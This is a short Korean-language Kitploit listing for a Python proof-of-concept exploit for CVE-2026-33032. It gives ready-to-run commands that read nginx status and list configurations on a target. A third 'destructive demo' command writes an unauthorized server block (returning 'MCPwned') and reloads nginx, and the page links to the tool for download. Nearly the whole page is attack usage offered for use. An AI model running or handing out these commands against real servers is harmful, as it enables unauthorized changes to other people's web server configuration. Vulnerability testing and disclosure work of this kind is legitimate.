CVE-2026-33032 — CVE-2026-33032에 대한 Python 개념 증명(PoC)으로, nginx 상태와 구성을 검사한 후 무단 구성 쓰기 및 리로드를 시연하여 악성 서버 블록을 배포합니다. | Kitploit

공유

CVE-2026-33032

안전 점검 (nginx 상태 읽기)

python3 main.py http://target:9000 --tool nginx_status

설정 목록

python3 main.py 10.0.0.50 --tool nginx_config_list

파괴적 데모 (쓰기 + 리로드)

python3 main.py http://target:9000 \
  --tool nginx_config_add \
  --payload poc.conf \
  --content 'server { listen 8443; return 200 "MCPwned\n"; }'

도구 다운로드